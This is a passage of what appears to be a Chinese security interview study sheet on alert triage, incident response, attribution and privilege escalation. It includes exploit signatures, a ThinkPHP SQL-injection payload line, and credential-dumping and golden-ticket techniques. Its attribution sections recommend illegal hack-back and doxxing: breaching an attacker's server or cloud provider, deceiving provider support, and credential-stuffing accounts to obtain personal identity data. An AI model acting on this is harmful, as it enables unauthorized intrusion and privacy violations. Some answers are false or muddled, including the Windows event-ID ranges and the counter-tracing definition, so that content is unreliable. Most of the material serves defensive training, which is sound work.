6. 看数据包的详细信息,看终端或者服务器是否有与矿池交互的信息,判断是否存在登录到矿池(method“:”login“)、从矿池接收任务(”method“:”job“)字段,在载荷内容中是否存在ok、success等字段
流量层面分析Apache Log4j2 远程代码执行漏洞是否攻击成功?
1、dnslog类:查看是否存在源ip与dnslog的外联日志记录2、命令执行攻击2.1 有回显:响应体中存在命令执行结果2.2无回显 :存在源ip与ldap服务ip的外联日志记录
如何研判sql注入类型告警事件?
1.排除302、404、301、502,非200状态码
2.判断请求包内相关的sql语句是否为恶意的SQL语句
3.判断响应体内是否包含数据库敏感信息,或者系统信息。
如何研判JBOSS 反序列化漏洞攻击成功?
1.在访问JBOSS漏洞页面/invoker/readonly后,返回值为500
2.请求体有llections.map.LazyMap、keyvalue.TiedMapEntry攻击链特征并且有明显的命令执行行为比如whoami
3.在返回500 堆栈报错页面内容中包含了系统返回内容 比如系统用户:root
如何研判Fastjson反序列化漏洞攻击成功?
1.请求头:method: POST content_type: application/json
2.请求体:data:com.sun.rowset.JdbcRowSetImpl,dataSourceName,@type
3.请求体: 包含攻击者C2服务器地址
4.状态码为:400 也可能是500
5.通过态势感知平台进行回溯分析,在分析中心输入语法:(sip:(失陷服务器IP) OR sip:(攻击者C2IP)) AND (dip:(失陷服务器IP) OR dip:(攻击者C2IP))
log4j特征,如何判断他攻击成功没
以下是Log4j漏洞的一些特征:
攻击者使用恶意请求中的特定参数名称和值来触发Log4j漏洞。这些参数包括JNDI名称和恶意JNDI URL。
攻击者通常会使用反向Shell或远程访问工具来执行任意命令或控制受感染的系统。
攻击者的攻击可能被记录在受感染应用程序的日志中。这些日志通常会显示异常或错误信息,或者包含关于漏洞攻击的详细信息。
受感染的应用程序通常会发起大量的网络请求,尝试将攻击者的命令或代码发送到攻击者的服务器。
要判断Log4j漏洞攻击是否成功,可以采取以下措施:
监视受感染应用程序的日志,查看是否有异常或错误信息,或者是否包含与攻击相关的信息。
监视网络流量,查看是否有大量的请求被发送到攻击者的服务器。
检查系统中的异常或警告信息,例如系统崩溃、不正常的CPU使用率或内存使用率等。
在受感染的系统中进行代码审查,查看是否有与攻击相关的代码或配置文件。
如果发现应用程序受到了Log4j漏洞攻击,应立即采取措施来解决漏洞,并且必须对系统进行全面检查,以确保没有其他漏洞或后门存在。同时,建议采取安全措施,例如升级Log4j版本、禁用JNDI功能、限制应用程序的输入等,以防止类似漏洞的再次出现。
SQL注入攻击通常具有以下特征:
基于输入参数的攻击:SQL注入攻击是基于Web应用程序的输入参数进行的。攻击者通常通过修改输入参数中的某些值来注入恶意SQL语句。
错误提示信息:SQL注入攻击可能会导致Web应用程序返回错误提示信息。攻击者可以根据这些错误提示信息,获得Web应用程序的数据库结构和其他敏感信息。
时间延迟:攻击者可能会在恶意SQL语句中添加时间延迟语句,以便测试数据库的响应时间,从而获取敏感信息。
数据库操作:SQL注入攻击可以让攻击者执行未经授权的数据库操作,例如删除、修改、添加数据等。
为了判断SQL注入攻击是否成功,可以注意以下几点:
检查Web应用程序的日志和错误提示信息,是否包含异常的SQL语句和错误信息。
检查数据库的日志,是否存在异常的数据库操作记录。
检查Web应用程序的用户数据和操作结果,是否存在异常情况,例如修改、删除、添加了未经授权的数据。
进行代码审计,检查Web应用程序的代码是否存在漏洞,例如没有对输入参数进行充分的过滤和验证。
原理(口头语言):用户的输入嵌入到SQL语句中,然后被当做代码执行
成因:未对用户输入的数据做验证或者处理(预编译)
可有看设备报警,SQL注入的报警,能看到攻击时间,攻击ip,payload,如何判断是误报还是真是攻击,如果是真实攻击,怎么判断他攻击是否成功,如果成功怎么处理
先看ip,如果ip是公司内部的再看内部人员有没有相关操作,如果不是公司人员业务的操作那就是攻击了,
然后分析payload,分析它写的payload安全设备能否它进行过滤拦截,如果它确实能绕过,那就应该攻击成功了,
成功的话赶紧上报,做应急响应,做出相应处理,添加过滤规则,修改数据库中能修改的数据比如管理员账号密码啥的
几万条告警,怎么快速找到攻击成功的告警,哪些是误报
要把告警日志数据转换为情报数据进行输出分析 告警日志数据主要来自:WAF、IPS「入侵防御系统」、IDS「入侵防御系统」、蜜罐、NTA、EDR、APT、防病毒、堡垒机、态势感知等安全设备。大多数企业按照自己的需求安装了安全设备提升了自身的感知攻击威胁的能力,但是也正因为如此导致了单日的安全设备告警日志量会变得很多,但是*这些数据不一定就是真实有效的攻击所触发的,也有可能是因为安全设备检测特征规则感知到尝试攻击行为所造成的风险告警;真实有效的攻击也有可能被淹没在里面;为了能够降低分析成本,就需要对这类因“攻击尝试行为“大量触发的风险告警进行数据清洗。通过特征规则将无效告警、误报告警过滤掉,剩下的就是“待分析告警”; 网络之中的例子 —“哪些告警属于无效告警?” 比如说:攻击方通过对目标资产所处的C段进行批量扫描,但C段的资产并非都是处于「活跃」状态,甚至根本没有这个资产。而安全设备还是因为这个「攻击尝试行为」产生了告警,那么这种告警就属于「无效告警」。—“怎么判断告警是误报?” 比如说:攻击方尝试利用现成的「EXP&POC集成脚本工具」对资产目标进行检测扫描,安全设备检测到「攻击尝试行为」中的攻击特征就会产生告警。在通常情况下,可以把告警中的URL的“网页状态码”、“页面回显数据”作为「误报告警」判断的条件之一。—“如何对「待分析告警」关联分析?” 从「待分析告警」中提取攻击特征,通过「攻击特征规则库」进行匹配,看能否获取到「情报线索」。/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23 ** 比如说,在「待分析告警」数据发现这一段Payload,通过「攻击特征规则库」关联到它属于「ThinkPHP5 - 注入漏洞」。但我们通过「资产指纹信息库」进行核查发现「受攻击的资产」并没有使用「ThinkPHP5」框架。按照这个分析逻辑,将整个流程脚本化输出。就可以排除「待分析告警」中那些真实的攻击尝试行为,却又未攻击成功的告警。然后,人工再对剩余的少量「待分析告警」进行分析研判,从其中捕获到「真实有效」的攻击事件的可能性相对于以往的分析方式会大的多。如果捕获到「真实有效」的攻击事件,还可以利用「资产指纹信息库」巡查具有同样指纹特征的设备是否也存在类似的漏洞。安全设备进行报警如何看是否是外界的攻击,即是否是误报,或是内部人员进行的操作:查看报警日志,对报警的数据进行分析,看是不是内部人员的操作,还是真实的攻击
流量分析是否是误报:分析流量数据包,可以用wireshark,分析流量是不是正常的业务操作。
如果看到一个告警ip,如何判断是否是真实攻击?
首先,我会先判断一下ip来源,判断是内网ip还是公网ip,若为内网ip,然后对请求包的内容是否存在恶意payload,然后再根据响应包内容有执行成功的回显,若相应包中有对应的payload的回显,则可以判断为攻击成功,但是此时,需要判断下是否为业务系统的逻辑造成的和是否是工作人员在测试业务系统漏洞,若工作人员证实了该告警为自家安全ip,则认为该攻击为误报,若非自家ip且不存在逻辑因素,则可判断为内网攻陷。若为公网ip,若恶意payload利用成功,则可判断为真实攻击。
如果看到一条sql注入告警,怎么判断是否是攻击成功?
对请求包的内容进行检查,检查是否存在sql注入的利用语句,同时检查响应包内容有执行成功的回显,若相应包中存在sql注入攻击成功的回显,则可判断攻击成功。
文件上传的攻击特征是什么
文件上传首先是POST的数据包,且content-type为multipart/form-data,如果为恶意的文件上传漏洞攻击,则数据包中filename属性的后缀为jsp,php,asp等恶意后缀,且文件内容一般为Webshell内容
怎么通过流量分析 ,判断出对方攻击成功了?
- 可以通过返回包判断攻击是否成功,比如命令执行攻击有回显的话返回包就会有命令执行的结果。如果有一些安全设备的话也可以通过查看告警信息判断。
- 可以对请求包进行重放来判断,在自己的机器上重放流量包,将 payload 改成自己的 payload 来判断是否攻击成功
如果攻击的回显有延迟或者说攻击生效需要一定的时间你不能很快看见 ,那该怎么通过流量分析判断出攻击是否生效了?
重放流量包,将 payload 改成自己的来进行判断。
struts2命令执行的流量特征
一般Struts2框架的接口会以.do、.action结尾;struts2一些常见的关键字:memberAcecess,getRuntime,println,双引号,单引号,等号,括号之类的符号。
四、内网相关面试题
Windows和Linux提权的方法
- Windows:内核漏洞、可修改的服务、服务路径缺陷、可修改的计划任务、psexec、bybassuac
- Linux:suid、定时任务、内核漏洞、sudoer
Windows系统提权的思路
提权可分为纵向提权与横向提权:纵向提权:低权限角色获得高权限角色的权限;横向提权:获取同级别角色的权限。
方法: 1.系统内核溢出漏洞提权 2.数据库提权 3.错误的系统配置提权 4.组策略首选项提权 5.WEB中间件漏洞提权 6.DLL劫持提权 7.滥用高危权限令牌提权 8.第三方软件/服务提权等
Linux有哪些提权思路
常用的就内核提权、sudo滥用提权、suid提权、一些高权限运行的应用服务提权,例如mysql、python、vi、定时任务提权、etc/passwd滥用提权
方法:1.Linux内核漏洞提权2.低权限用户目录下可被Root权限用户调用的脚本提权(SUID)3.环境变量劫持高权限程序提权4.sudoer配置文件错误提权
说一下Linux利用passwd提权
这个需要对passwd有写入权限,正常root用户的uid为0,如果自己写进去一个用户把它的uid改为0的话,用这个用户登录,系统就会切到root用户了
suid提权的原理
通过文件属主的身份运行文件
bypassuac的方法
白名单、COM 接口、Shell API,也可以通过工具UACME
黄金白银票据
- 黄金票证是一种权限维持手段,攻击者获得了对 AD 密钥分发服务帐户的控制权,并使用该帐户伪造 TGT,便能够访问 域上的任何资源。
- 白银票据是伪造的 TGS 票证,白银票仅允许攻击者伪造特定服务的 TGS 票据。
详细讲一下金票以及需要的信息
AS认证中返回的TGT是由krbtgt用户的密码Hash加密的,有krbtgt的密码hash就可以自己制作任意的TGT
需要域名、域SID、要模拟的用户名、krbtgt的hash
读hash读取不到怎么办
用工具把lsass进程dump下来,然后本地去读,或者转储sam文件,AD数据库的话可以用dcsync的方式转出来
dcsync的利用条件
需要配置两个ACL的权限就可以了
详细讲一下ACL
ACL就是访问权限,windows下不同的用户组有默认的ACL配置,你也可以单独添加权限,这样就算普通用户也可以给他添加向域管组添加用户的权限
psexec和wmic区别
psexec会有大量的日志,wmic就不会
PTT有哪些攻击方法
MS14-068、金票、银票
内网扫描的方式
内网fscan扫描 或者 搭建内网socks5代理然后走代理进行扫描
Liunx系统中任何权限都能访问的临时文件位置
答:/var/tmp
正向代理 反向代理的区别啊
正向代理和反向代理是两种不同的代理服务器架构。
正向代理(Forward Proxy)是代理服务器位于客户端与目标服务器之间的一种代理方式。客户端发送请求时,先将请求发送到代理服务器,然后代理服务器再将请求发送到目标服务器。在这个过程中,客户端并不知道请求是由代理服务器发出的,只知道代理服务器的地址。正向代理常用于客户端无法直接访问目标服务器的情况下,比如防火墙的限制、访问限制等。
反向代理(Reverse Proxy)是代理服务器位于目标服务器与客户端之间的一种代理方式。客户端发送请求时,请求先到达反向代理服务器,然后由反向代理服务器将请求转发到目标服务器,目标服务器将响应发送给反向代理服务器,最后再由反向代理服务器将响应发送给客户端。在这个过程中,客户端不知道请求是由目标服务器响应的,只知道反向代理服务器的地址。反向代理常用于负载均衡、缓存、安全等方面。
在实际应用中,常常使用反向代理作为Web服务器的入口,来处理负载均衡、安全过滤、缓存等问题;同时使用正向代理来提高用户体验,隐藏客户端真实IP地址,保护隐私等
五、应急响应面试题
1.内存马应急(重点)
内存马有几种类型
内存马是一种在受感染的主机内存中运行的恶意软件。一般来说,内存马可以分为以下几种类型:
注入型内存马:通过利用漏洞将恶意代码注入到正常进程中,从而在内存中运行。
自执行型内存马:将恶意代码写入自启动项,启动后自动运行。
进程注入型内存马:利用进程注入技术,在受感染进程的内存中运行恶意代码。
Hook型内存马:利用Windows API的Hook机制,修改进程中的关键函数,从而运行恶意代码。
要判断内存马的类型,可以使用反病毒软件或专门的安全工具对受感染主机进行扫描和分析。一般来说,不同类型的内存马会留下不同的痕迹和特征,比如某些进程的不正常行为、异常的网络连接等等。
针对不同类型的内存马,处理方法也会有所不同。一般来说,可以采取以下措施:
注入型内存马:修复漏洞、升级软件,加强网络安全防护等方法来预防类似攻击;对已经感染的主机,可以通过杀掉受感染进程或卸载恶意程序等方式来清除内存马。
自执行型内存马:可以通过清理自启动项、卸载恶意程序等方式来清除内存马。
进程注入型内存马:可以通过杀掉受感染进程或卸载恶意程序等方式来清除内存马。
Hook型内存马:可以通过还原Hook、修复关键函数、杀掉受感染进程或卸载恶意程序等方式来清除内存马。
内存马你怎么查杀**
内存马如何排查:如果发现了一些内存webshell的痕迹,需要有一个排查的思路来进行跟踪和分析,也是根据各类型的原理,
列出一个排查思路——1、如果是jsp注入,日志中排查可以jsp的访问请求。
2、如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法。
3、根据业务使用的组件排查可能存在的java代码执行漏洞,spring的controller了类型的话根据上报webshell的url查找日志,filter或者listener类型,可能会有较多的404但是带有参数的请求。
杀马:
终止进程:如果确认某个进程是内存马,可以尝试终止该进程。在Windows系统中,可以通过任务管理器或者命令行工具taskkill来终止进程;在Linux系统中,可以通过命令行工具kill或者pkill来终止进程。
删除文件:如果进程终止后,还需要删除相关的文件,以防止内存马重新启动。在Windows系统中,可以直接删除相关文件;在Linux系统中,需要先终止进程,然后再删除文件。
怎么排查java内存马
直接利用内存马检测工具去找,github也有很多检测脚本,手工的话可以分析web日志,filter或者listener类型的内存马,会有大量路径相同参数不同的url请求,或者页面不存在但是返回200的请求,分析web.xml文件,内存马的Filter是动态注册的,web.xml是没有配置的,也有可能是中间件漏洞通过代码执行加载内存马,这就可以去排查中间件的错误日志,像哥斯拉和冰蝎的内存马也会有跟webshell相似的特征,分析特殊的classloader加载,攻击者喜欢利用TemplatesImpl和bcel加载内存马,因为内存马是驻留在内存里的,本地无class文件,通过检测Filter对应的ClassLoader目录下是否存在class文件来判断,也可以把内存中所有的Filter的class dump出来,使用工具分析是否存在恶意代码
2.溯源
溯源反制
- 通过 ip 定位物理位置,对 ip 进行端口扫描,进行反渗透
- 通过社交 ID 进行追踪
- 通过 ip 查域名、查邮箱、电话,对域名进行溯源分析
- 如果有恶意样本,可通过分析恶意样本,看是否存在攻击者信息
- 通过蜜罐进行反制
- 也可以进行反钓鱼
溯源有哪些思路
通过分析设备的告警、钓鱼邮件、木马病毒找到攻击者IP,先去一些威胁情报平台搜索相关信息,判断攻击者为代理服务器还是跳板机还是国内的云服务器,查一查相关注册信息,对攻击者进行反向渗透,针对攻击者去搭建蜜罐,如果是云服务器,可以寻找到相关厂商,联系客服说自己忘记密码了,看看能不能获取到云服务器购买者信息,对于获取到的信息可以通过各种社工库搜一搜,各大搜索引擎去搜索看看能不能获取到更多信息,也可以直接把服务器厂商打下来,肯定就可以知道购买者的信息了,如果把跳板机拿下就可以去查看桌面的敏感信息,登录日志,历史执行命令这样一步一步去获取更多的信息。
你会用什么办法溯源攻击方的个人信息呢
- 首先通过日志和蜜罐等方式获取到攻击方的 ip,可以对 ip 进行反向渗透获取信息,定位攻击者信息。
- 也可以通过搜索引擎或者安全情报,获取 ip 对应攻击者的网名id,再通过社交平台获取攻击者的信息
- 通过攻击 IP 历史解析记录/域名,对域名注册信息进行溯源分析
- 如果攻击者有种植木马等,可以提取样本特征如用户名、ID、邮箱、C2 服务器等信息—同源分析
- 搭载 jsonp 钓鱼的蜜罐,通过 JSONP 跨域,获取攻击者的主机信息、浏览器信息、真实 IP 及社交信息等
怎么做溯源,国外ip怎么溯源,国内ip怎么溯源
溯源思路:首先通过系统日志、安全设备截获攻击包等从中分析出攻击者的ip和攻击方式,通过webshell或者木马去微步分析,
或者去安恒威胁情报中心进行ip检测分析,是不是云服务器,基站等,如果是云服务器的话可以直接反渗透,看看开放端口,域名,whois等进行判断,
获取姓名电话等丢社工库看看能不能找到更多信息然后收工
针对国外IP的溯源方法:
使用网络安全工具进行溯源:可以使用网络安全工具,如traceroute、ping等命令,对目标IP进行探测和跟踪。这些工具可以显示出攻击流量经过的路由器、网关和ISP等信息,帮助我们了解攻击流量的来源地点。
查找域名信息:通过WHOIS查询工具查询目标域名的注册信息,包括注册人、注册机构、联系方式等信息,可以从中了解到攻击来源的大致位置。
联系当地ISP:如果攻击者使用的是公共网络,如酒店、咖啡厅、机场等,可以联系当地ISP,寻求协助获取攻击来源的信息。
针对国内IP的溯源方法:
使用网络安全工具进行溯源:同样可以使用traceroute、ping等命令进行溯源,显示攻击流量经过的路由器和ISP等信息,帮助我们确定攻击来源的大致位置。
查找公网IP地址:通过IP地址查询工具查询目标IP的公网IP地址,可以从中了解到攻击来源的大致位置。
联系当地ISP:如果攻击者使用的是公共网络,如网吧、公共WiFi等,可以联系当地ISP,寻求协助获取攻击来源的信息。
有没有接触过溯源反制啊
溯源反制的原理主要是通过混淆和伪装攻击流量,防止攻击者获取真实的攻击来源和行为信息。具体操作包括:
使用代理服务器:通过使用代理服务器,可以改变攻击流量的来源IP地址,使得攻击者无法追踪真实的攻击来源。
使用VPN技术:VPN技术可以在公网上建立一个私有网络,加密传输数据流量,从而防止攻击者获取敏感信息。
使用匿名浏览器:匿名浏览器可以隐藏用户真实的IP地址和浏览痕迹,使得攻击者无法追踪用户的真实身份和行为。
使用虚假数据:在攻击流量中混入虚假的数据,如虚假的IP地址、协议和端口等信息,可以混淆攻击者的追踪。
已知攻击者IP,如何溯源定位攻击人员?
1、IP反查注册信息,可能会查询到域名,通过域名查询备案和whois信息,可能会查出邮箱电话,通过社工库查询相关邮箱和电话信息定位人员支付宝,微信转账;微博,百度贴吧等
2、通过白泽系统查询IP标记情况,查看攻击者IP日常访问数据内容,判断攻击者人员信息
溯源会用些什么工具或者在线网站,都可以说说常用的服务和对应的端口
查入侵IP,入侵手法(网路攻击事件)的确定等
工具:可以用wireshark进行溯源取证;
Wireshark:Wireshark 是一款免费开源的网络协议分析工具,可以捕获和分析网络数据包。通过使用 Wireshark,您可以追踪网络数据流和操作记录,了解数据的来源、目的和内容等信息。 Sysinternals Suite:Sysinternals Suite 是一组 Windows 系统工具集合,其中包括了很多用于溯源的工具。例如,Process Monitor 可以监视 Windows 系统中的进程和操作记录,用于追踪应用程序和系统资源的使用情况;Regmon 可以监视系统注册表的操作记录,用于追踪应用程序对系统注册表的读写操作。 SIFT:SIFT(SANS Investigative Forensic Toolkit)是一款专业的数字取证工具集,用于支持取证人员对数字媒体进行取证分析。SIFT 包含了很多工具,例如,Autopsy 可以分析磁盘映像文件,Volatility 可以分析内存映像文件,用于追踪系统的操作记录和数据流。 Sleuth Kit:Sleuth Kit 是一款开源的数字取证工具集,提供了一系列用于分析文件系统和磁盘映像文件的工具。例如,fls 工具可以分析文件系统中的文件记录,用于追踪文件的创建、修改和删除记录;mactime 工具可以分析文件系统中的时间戳记录,用于追踪文件的时间戳信息。 在线网站:微步* 安恒威胁情报中心 全国互联网违法和不良信息举报中心 工业和信息化部网络安全管理局
溯源思路:首先通过系统日志、安全设备截获攻击包等从中分析出攻击者的ip和攻击方式,通过webshell或者木马去微步分析,
或者去安恒威胁情报中心进行ip检测分析,是不是云服务器,基站等,如果是云服务器的话可以直接反渗透,看看开放端口,域名,whois等进行判断,
获取姓名电话等丢社工库看看能不能找到更多信息然后收工
应急响应要干什么啊
应急响应通常包括以下步骤:
确认安全事件:要及时发现安全事件,快速确认其类型、范围和危害程度,并进行预警和通报。
切断攻击链:要采取有效措施,尽可能快地切断攻击链,阻止攻击扩散和进一步损失。
收集证据:要收集、保留安全事件相关的证据和信息,以便后续的调查和追踪。
分析病毒特征:要对病毒、木马等安全事件的特征进行分析,找出其入侵方式、攻击目的、传播途径等信息,以便防止类似安全事件的再次发生。
应对措施:根据安全事件的类型和程度,采取相应的应对措施,如修补漏洞、清除恶意软件、升级补丁、修改配置等。
恢复业务:在限制损失和消除安全风险的基础上,尽快恢复业务,保障用户和业务的正常运转。
事件总结:要对安全事件的应急响应过程进行总结和反思,发现问题并进行改进,提高应急响应能力。
常见的应急响应事件分类:web入侵:网页挂马、主页篡改、Webshell 系统入侵:病毒木马、勒索软件、远控后门 网络攻击:DDOS攻击、DNS劫持、ARP欺骗 网站被挂马如何应急(具体流程都是差不多的,看着变)
1.取证,登录服务器,备份,检查服务器敏感目录,查毒(搜索后门文件-注意文件的时间, 用户,后缀等属性),调取日志(系统,中间件日志,WAF日志等);
2.处理,恢复备份(快照回滚最近一次),确定入侵方法(漏洞检测并进行修复)
3.溯源,查入侵IP,入侵手法(网路攻击事件)的确定等
4.记录,归档--------预防-事件检测-抑制-根除-恢复-跟踪-记录通用漏洞的应对等其他 安全应急事件
判断威胁情报是否有误,就看wireshark,进行流量分析判断是否为正常业务操作
应急响应流程
收集信息:收集告警信息、客户反馈信息、设备主机信息等
判断类型:判断攻击的类型,是ddos还是被挂马了还是被控制了
控制范围:隔离目标网络不让危害扩大
寻找原因:还原攻击者的攻击链,溯源攻击者的整个过程
修复防御:直接封掉攻击者ip,对于产生的原因进行对应防御
恢复业务:将业务恢复正常
写报告:总结整个过程,反思不足之处,优化应急方案
安全设备发现一台Linux主机触发挖矿告警,上机排查该机器执行ps,top命令未发现挖矿及恶意进程,现在怀疑ps,top命令被替换,动态链接库被劫持,请问应该如何处理?**
1、使用cat /etc/ld.so.preload命令查看动态链接库文件是否加载有so文件,提取加载的so文件上传至威胁情报平台,判断是否为恶意so文件2、清除so文件,使用ldconfig命令重新加载动态链接库,执行ps,top命令查看是否可以发现挖矿进程信息
3. 确认ps和top命令是否被替换:可以使用命令"which ps"和"which top"查看这两个命令的路径是否为系统默认路径"/bin/ps"和"/usr/bin/top",如果不是则说明被替换。也可以通过比较ps和top命令的md5值来判断是否一致。2. 确认动态链接库是否被劫持:可以使用命令"ldd /bin/ps"和"ldd /usr/bin/top"查看这两个命令依赖的动态链接库是否正常,如果有动态链接库被替换,则会发现其中一些动态链接库路径不对
4. 恢复被替换的命令和动态链接库:如果确认被替换,可以从系统安装介质或官方网站上下载对应版本的ps和top命令和动态链接库,替换掉被替换的文件即可。
5. 检查系统安全:替换命令和动态链接库只是暂时的措施,需要进一步排查系统安全状况,比如查杀恶意程序、加强访问控制、更新系统补丁等,以防止类似问题再次发生
6. 借助工具busybox
如何分析排查钓鱼邮件事件?
1.确认邮箱批量发送时间点
2.排查邮箱登录日志,发现【恶意IP】在【什么时间】通过web登录成功;
3.查看邮件内容,确认钓鱼邮件的影响和目的;
4.排查浏览器或上网行为,判断是否访问过钓鱼页面;
5.对访问过的设备进行全盘查杀
分析邮件头部:查看邮件的原始头部信息
检查发件人的真实地址、邮件服务器的来源、邮件传输路径等
注意查看"Received"字段,查看是否存在异常的邮件转发或代理
分析链接与附件,添加至黑名单
查看有多少内网ip访问过这个链接或者ip,双向排查
怎么排查 0day
- 先对失陷的机器进行隔离,进行口令策略加固,封禁入侵IP
- 排查 0day 流量,通过流量探针进行攻击流量排查,同时分析下应用日志,重点看下异常报错还有登录的地方,还有url比较长,一看就不正常的
- 还有就是异常文件,如果有异常文件,可以先分析后处理,然后回溯排查,拿不准的话可以取得经理同意后复现,进行加固,及时向waf写规则
一台机子失陷了,因业务需要不能断网,怎么处理
- 关闭ssh、rdp等允许远程连接的协议端口
- 看下外联,有无可疑ip,若有对其进行封禁,或设置ip白名单,只能有所需要的ip才能访问
- 排查下有无文件遗留,通过 webshellkiller、D 盾、河马之类的工具进行查杀
- 查看下告警,根据告警事件点审计各类日志和流量,看看怎么打进来的进行加固
内网机子失陷,怎么做
- 进行隔离、做好边界控制
- 查看进程、若存在可疑进程通过pid找到文件路径,保留现场,经同意后干掉可疑进程和可疑文件
- 通过可疑文件的创建时间定位到相应的应用日志位置,看看是怎么进来的,进行加固
- 查看下定时任务有无可疑的
- 看看有没有可疑账号存在
- 确认下有没有文件遗留
- 使用后门查杀工具进行排查
linux的日志存放在哪个目录下
Linux 的日志文件通常存储在 /var/log 目录下,这是一个系统和应用程序日志文件的默认存储位置。不同的日志类型存储在不同的子目录下,以下是一些常见的子目录和对应的日志类型: /var/log/messages:系统日志,包含了操作系统的各种信息、警告和错误等。 /var/log/auth.log:安全认证日志,记录系统的用户登录、认证、授权等信息。 /var/log/syslog:系统日志的一个备份文件。 /var/log/kern.log:内核日志,记录内核级别的信息,例如硬件故障等。 /var/log/dmesg:内核环缓存,包含启动信息、硬件检测和驱动程序的信息等。 /var/log/cron:定时任务日志,记录定时任务执行的情况。 /var/log/maillog:邮件日志,包含了邮件服务器的日志信息。
win登录日志怎么看,判断是否登录成功
事件查看器里面有windows日志文件,在下面安全性就可以看到很多日志,登录成功的话就会有对应的事件id,登录失败就会有不同的事件id
windows事件ID一般是多少
Windows事件ID是用来标识不同事件类型的数字代码。不同类型的事件有不同的事件ID,通常情况下,Windows系统的事件ID是在100到999之间的整数。例如,系统启动时的事件ID为100,关机时的事件ID为200,应用程序错误的事件ID通常在1000以上。
需要注意的是,不同版本的Windows操作系统可能会有不同的事件ID编号范围和对应的事件类型,因此在查看和分析Windows日志时,需要根据具体情况进行理解和处理。
Linux后门排查哪些东西
查看用户信息相关的文件,看看有没有多余的账户、特权账户、隐藏账户、可以远程登录的账户、sudo权限的账户,检查一下网络连接、异常进程,检查定时任务、开机启动、服务、端口、可疑的文件,检查系统日志
Linux怎么查看程序调用了哪些文件
lsof -c 指定的程序,查看多个程序的话直接在后面加就可以
判断自己是否给getshell(就是给用D盾查杀)
webshell:
查web日志,分析攻击流量
扫webshell
排查网站目录,查看最近更改的文件
shell:
查看未知端口,未知进程
排查恶意流量,锁定感染进程
有安全设备就看安全设备
内网报警处理方式(可能会问的会不一样,不会直接问)
首先就要是地位到具体的那一台机器,既然报警那就说明知道了具体的漏洞类型,加相应的补丁打上,
以linux为主(一般都会问linux的),查看/var/log/secure系统日志,查看登录失败的记录,还有Linux历史命令–>home目录的bash_histor,查看执行过的命令。
在利用webshell或者是shell查杀工具查杀,查看tmp目录下是非有带有免杀的木马。彻底清除。再到全流量分析的机子上看,是非有经过其他的机器。
拿到攻击ip之后到线上的一些网站查看主机类型,比如360或者微步上,查看是非是傀儡机,vps跳板,或者是国内个人云主机。
如果是个人云主机,就可以通过whois查看是非有最近绑定的域名,或者绑定者的邮箱。
知道邮箱之后就可以反查询出qq号说多少,再利用社工查询到手机号,
到一个知名的网站上查询这个手机号有没有注册过什么网站,可以去这些网站通过撞库的方法登入,这样就可以拿到这个攻击者的身份证,学校,地址这些了。
(思路是应急响应;加固;溯源)
被攻击后日志文件或者木马文件被删除排查:lsof恢复被删除的文件,然后查日志,查服务,查进程,查看是否有新增的账号
安全设备进行报警如何看是否是外界的攻击,即是否是误报,或是内部人员进行的操作:查看报警日志,对报警的数据进行分析,看是不是内部人员的操作,还是真实的攻击
流量分析是否是误报:分析流量数据包,可以用wireshark,分析流量是不是正常的业务操作
服务中了webshell 怎样从日志找webshell位置,被拿shell后怎么应急,怎样快速定位shell
从日志流量文件开始,先定位位置查看敏感目录tmp usr/sbin etc/ssh ,对新创建文件,修改文件等进行查看,找特殊权限文件比如777 。
流量的话从ua和playload去分析。比如菜刀连jsp木马:第一个参数是a-q,这个是不会变的,第二个是编码,第三个是playload。日志的话从找到的shell时间点去关联分析,可以还原攻击手法
快速定位就是看进程和内存看占用时间长和占用率高的
挂马怎么排查啊(xss webshell)
确认是否被攻击:可以通过检查网站页面源代码、访问日志、异常流量等方式,确定网站是否被攻击。
分析攻击方式:分析黑客攻击方式,了解攻击者的手段,比如是否是通过SQL注入、文件上传漏洞等方式进行攻击。
定位被攻击的文件:查找被攻击的文件,一般包括Web服务器的相关文件、网站源代码、数据库等,可以通过检查文件的时间戳、比对文件的MD5值等方式进行确认。
清除恶意代码:一旦确定被攻击的文件,需要清除恶意代码,可以手动清除或者使用工具进行清除。同时需要注意备份重要数据,以免误操作导致数据丢失。
安全加固:排查完恶意代码后,需要对系统进行加固,避免类似攻击再次发生,可以使用一些安全工具或者参考安全加固手册进行操作。
验证清除结果:最后需要对系统进行全面验证,确保清除工作的完整性和有效性,避免留下后门或者未发现的漏洞等问题。
webshell检测思路
通过匹配特征码,特征值,危险函数来查找webshell ,webshell如果传到服务器了,在执行函数时这些对于系统调用、系统配置、数据库、文件的操作动作都是可以作为判断依据,Linux下就是nobody用户起了bash,Windows下就是IIS User启动 cmd,这些都是动态特征。再者如果黑客反向连接的话,那很更容易检测了,Agent 和IDS都可以抓现行,Webshell总有一个 HTTP 请求,如果我在网络层监控 HTTP,并且检测到有人访问了一个从没访问过的文件,而且返回了 200,则很容易定位到webshell。使用webshell一般不会在系统日志中留下记录,但是会在网站的 web日志中留下webshell页面的访问数据和数据提交记录
网页被挂马了,可能有哪些原因
服务器已经被拿下了、通过漏洞修改了前端文件、存储型XSS、可能被上传了木马病毒
网站被挂马如何应急
1.取证,登录服务器,备份,检查服务器敏感目录,查毒(搜索后门文件-注意文件的时间, 用户,后缀等属性),调取日志(系统,中间件日志,WAF日志等);
2.处理,恢复备份(快照回滚最近一次),确定入侵方法(漏洞检测并进行修复)
3.溯源,查入侵IP,入侵手法(网路攻击事件)的确定等
4.记录,归档--------预防-事件检测-抑制-根除-恢复-跟踪-记录通用漏洞的应对等其他 安全应急事件
分析日志用什么工具啊
使用日志分析工具,如LogForensics,Graylog,Nagios,ELK Stack等等
webshell杀了以后,还有外连流量怎么办应急
如果杀掉Webshell后仍然有外连流量,可能存在以下情况:
Webshell仍在运行:在杀掉Webshell后,有可能仍然有外连流量,可能是因为Webshell并没有被完全杀死。可以再次检查系统进程,确认Webshell是否被杀死。
恶意程序已经感染其他系统:恶意程序可能已经感染了其他系统,通过其中的一个系统继续进行攻击。可以在网络边界设备上进行流量监测,检查是否有大量的外连流量,确定是否有其他系统被感染。
攻击者已经在系统中植入了后门:攻击者可能已经在系统中植入了后门程序,通过后门程序继续进行攻击。可以在系统中查找可疑的后门程序或者系统服务,同时在网络边界设备上进行流量监测,检查是否有异常的网络流量。
紧急应对的方法可以包括以下步骤:
切断网络连接:如果发现外连流量很大,可以考虑切断网络连接,以防止恶意程序继续进行攻击。
查杀恶意程序:可以使用杀毒软件或者安全工具对系统进行全面扫描,查杀恶意程序,并对系统进行修复。
